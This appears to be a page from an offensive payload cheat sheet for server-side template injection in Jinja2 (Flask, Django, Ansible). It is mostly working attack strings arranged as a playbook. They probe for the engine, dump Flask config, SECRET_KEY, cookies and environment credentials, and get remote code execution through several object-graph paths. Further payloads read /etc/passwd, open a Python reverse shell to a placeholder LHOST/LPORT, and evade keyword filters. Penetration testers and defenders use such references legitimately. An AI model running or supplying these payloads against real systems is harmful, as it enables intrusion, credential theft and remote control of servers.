Jinja2 (Python - Flask, Django, Ansible)
Jinja2 doesn’t expose os or subprocess directly, but every Python string carries a reference graph that reaches them. Walk: '' → __class__ (str) → __mro__ → object → __subclasses__() → some class that imports os or has Popen.
# Confirm Jinja2 (not Twig){{7*'7'}} # → '7777777'
# Read flask config / session secret{{config}} # dumps Flask config{{config.items()}} # same, as iterable
# RCE - Flask >= 0.10 (one-liner via lipsum.__globals__){{ lipsum.__globals__['os'].popen('id').read() }}
# RCE - universal Python (subclass walk){{ ''.__class__.__mro__[1].__subclasses__() }} # enumerate first# Then pick the index of <class 'subprocess.Popen'> or similar{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id', shell=True, stdout=-1).communicate() }}Success indicator: id output (uid/gid line) appears in the response.
Where this engine lives
Section titled “Where this engine lives”- Flask - Python’s most common micro-framework. Jinja2 is the default renderer;
render_template_string()is the SSTI sink. - Django - uses Django’s own template language by default, but Jinja2 is a supported alternative (
'BACKEND': 'django.template.backends.jinja2.Jinja2Environment'). Django’s own template language has separate payloads not covered here. - Ansible - playbooks and inventory variables are Jinja2-rendered. RCE through Ansible templates is a common privesc path on misconfigured CI/CD.
- SaltStack - also Jinja2-based.
- Anything embedding
jinja2.Template()- log formatters, email builders, code generators, custom CMSes.
Step 1 - Confirm and orient
Section titled “Step 1 - Confirm and orient”Three probes establish the situation:
{{7*7}} # → 49 confirms template eval{{7*'7'}} # → 7777777 confirms Jinja2 (not Twig){{ ''.__class__ }} # → <class 'str'> confirms Python-side accessIf all three work, you have full Jinja2 in an unrestricted environment. Move to step 2.
If {{ ''.__class__ }} returns unchanged or empty, you’re in a sandboxed environment (Flask’s SandboxedEnvironment, Ansible’s strict mode, or a custom subclass). See sandbox escape.
Step 2 - Loot before escalating
Section titled “Step 2 - Loot before escalating”Before going for RCE, harvest the easy wins. These are low-noise and frequently sufficient:
# Flask app config - secrets, DB URL, API keys{{config}}{{config.items()}}{{config.SECRET_KEY}} # session-signing key{{config.SQLALCHEMY_DATABASE_URI}} # DB connection string
# Request object - headers, cookies, body{{request}}{{request.headers}}{{request.cookies}}{{request.environ}} # full WSGI environ incl. server vars
# Environment variables - cloud creds, DB passwords{{ config.__class__.__init__.__globals__['os'].environ }}
# Session contents (if accessible){{session}}{{config.SECRET_KEY}} alone is high-impact on Flask: with the secret, you forge session cookies, bypass auth, and elevate to admin without needing RCE.
Step 3 - RCE paths
Section titled “Step 3 - RCE paths”Three paths to RCE. Try in order; the first that works is the cleanest.
Path A - lipsum.__globals__ (Flask only)
Section titled “Path A - lipsum.__globals__ (Flask only)”Jinja2 with Flask exposes a lipsum helper. Its __globals__ is the Flask module’s namespace, which has os already imported:
{{ lipsum.__globals__['os'].popen('id').read() }}{{ lipsum.__globals__.os.popen('id').read() }}{{ lipsum.__globals__['os'].popen('cat /etc/passwd').read() }}Same trick via cycler, joiner, namespace if lipsum is removed:
{{ cycler.__init__.__globals__.os.popen('id').read() }}{{ joiner.__init__.__globals__.os.popen('id').read() }}{{ namespace.__init__.__globals__.os.popen('id').read() }}If any of these work, you’re done.
Path B - request.application.__globals__ (Flask alt)
Section titled “Path B - request.application.__globals__ (Flask alt)”Sometimes lipsum and friends are filtered but request isn’t:
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}This works on Flask because request.application is the Flask app instance, and Flask itself imported the things you need.
Path C - Subclass walk (universal Python)
Section titled “Path C - Subclass walk (universal Python)”When framework-specific helpers are gone, walk Python’s class graph manually. Every string has a __class__; from there, __mro__ reaches object, and object.__subclasses__() returns every class loaded in the interpreter:
{{ ''.__class__.__mro__[1].__subclasses__() }}This prints a giant list. Find a useful subclass - <class 'subprocess.Popen'>, <class 'os._wrap_close'>, or <class 'warnings.catch_warnings'>. Each index varies by Python version and what’s loaded.
Find Popen programmatically with request.environ and slicing:
{{ ''.__class__.__mro__[1].__subclasses__()|map(attribute='__name__')|join(',') }}That returns all subclass names as a comma-list. Find the index of Popen in the output, then:
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id', shell=True, stdout=-1).communicate() }}Replace INDEX with the integer position.
Alternative without needing Popen’s exact index - use os._wrap_close if present (always has __init__.__globals__ containing os):
{% for c in ''.__class__.__mro__[1].__subclasses__() %} {% if c.__name__ == 'os._wrap_close' %} {{ c.__init__.__globals__.system('id') }} {% endif %}{% endfor %}In a one-liner with selectattr:
{{ (''.__class__.__mro__[1].__subclasses__()|selectattr('__name__','equalto','_wrap_close')|list)[0].__init__.__globals__.system('id') }}Path D - warnings.catch_warnings (when os isn’t imported anywhere)
Section titled “Path D - warnings.catch_warnings (when os isn’t imported anywhere)”In very minimal Python apps, os may not have been imported by any loaded module. warnings.catch_warnings reliably is:
{{ ''.__class__.__mro__[1].__subclasses__()|selectattr('__name__','equalto','catch_warnings')|first }}.__init__.__globals__.__builtins__.__import__('os').system('id')This imports os at template-eval time via __builtins__.__import__. Works when other paths fail.
File read without command execution
Section titled “File read without command execution”Sometimes you have eval but os.popen/os.system is filtered or you want stealthier output. Read files via Python file objects:
{{ ''.__class__.__mro__[1].__subclasses__()|selectattr('__name__','equalto','FileLoader')|first }}.get_source(0,'/etc/passwd')
# Or via builtin open(){{ get_flashed_messages.__globals__.__builtins__.open('/etc/passwd').read() }}Flask-specific shortcut:
{{ config.__class__.__init__.__globals__['__builtins__']['open']('/etc/passwd').read() }}Reverse shell
Section titled “Reverse shell”Once you have RCE, jump to a shell. Standard Python reverse shell:
{{ lipsum.__globals__['os'].popen('python3 -c \'import socket,subprocess,os;s=socket.socket();s.connect((\"<LHOST>\",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])\'').read() }}For environments where double-quotes are awkward, base64 the inner payload:
{{ lipsum.__globals__['os'].popen('echo BASE64_PAYLOAD | base64 -d | python3').read() }}Ansible specifics
Section titled “Ansible specifics”Ansible templates run with full Python access in playbook context. The payload form is the same; the entry point is different:
# Playbook variable referenced as {{ user_supplied_var }}user_supplied_var: "{{ lookup('pipe', 'id') }}"lookup('pipe', ...) is Ansible’s documented escape hatch and runs commands directly. If user input flows into a vars: block, an inventory file, or a --extra-vars argument, this is the payload form.
For Ansible Tower / AWX, surveys and extra-vars frequently funnel into Jinja2 rendering with full lookup access.
Filter-aware variants
Section titled “Filter-aware variants”When keywords are blocked (__class__, subprocess, popen, os), see filter bypass. Quick previews of what’s possible:
# Attribute access via string indexing - avoids the keyword __class__{{ ''['__class__']['__mro__'][1]['__subclasses__']() }}
# Hex/Unicode in attribute names{{ ''['\x5f\x5fclass\x5f\x5f'] }}
# request.args used to smuggle keywords past inline filters{{ ''[request.args.x][request.args.y][1][request.args.z]() }}# Then submit ?x=__class__&y=__mro__&z=__subclasses__Detection-only payloads
Section titled “Detection-only payloads”Useful when you only want to confirm Jinja2 without escalating:
{{7*7}} # eval probe{{7*'7'}} # Jinja-vs-Twig probe{{ ''.__class__.__name__ }} # returns 'str' on hit{{ self.__class__ }} # returns __TwigTemplate_... or jinja2.runtime.Context{{ joiner.__class__.__module__ }} # returns 'jinja2.utils' if presentThe last one is the cleanest single-payload “is this Jinja2?” - no escalation potential visible, just an engine name.
- Version specifics - the subclass-walk payloads work on Python 2.7 and 3.x identically. The
os._wrap_closeclass has been present since Python 3.0 and stable since. - Whitespace - Jinja2 is whitespace-tolerant inside
{{...}}.{{ 7 * 7 }}works as well as{{7*7}}. Use this against simplistic regex filters that match{{7*7}}exactly. - Statement vs expression syntax -
{{ expr }}is expression context,{% statement %}is statement context. Most payloads above are expression-form. Use{% for %}/{% if %}for control flow if expression form is filtered. - Output suppression - if the template renders successfully but the output is empty, the engine probably succeeded but the value didn’t reach the response body. Add
|stringfilter or assign to a variable then echo:{% set x = ... %}{{x}}.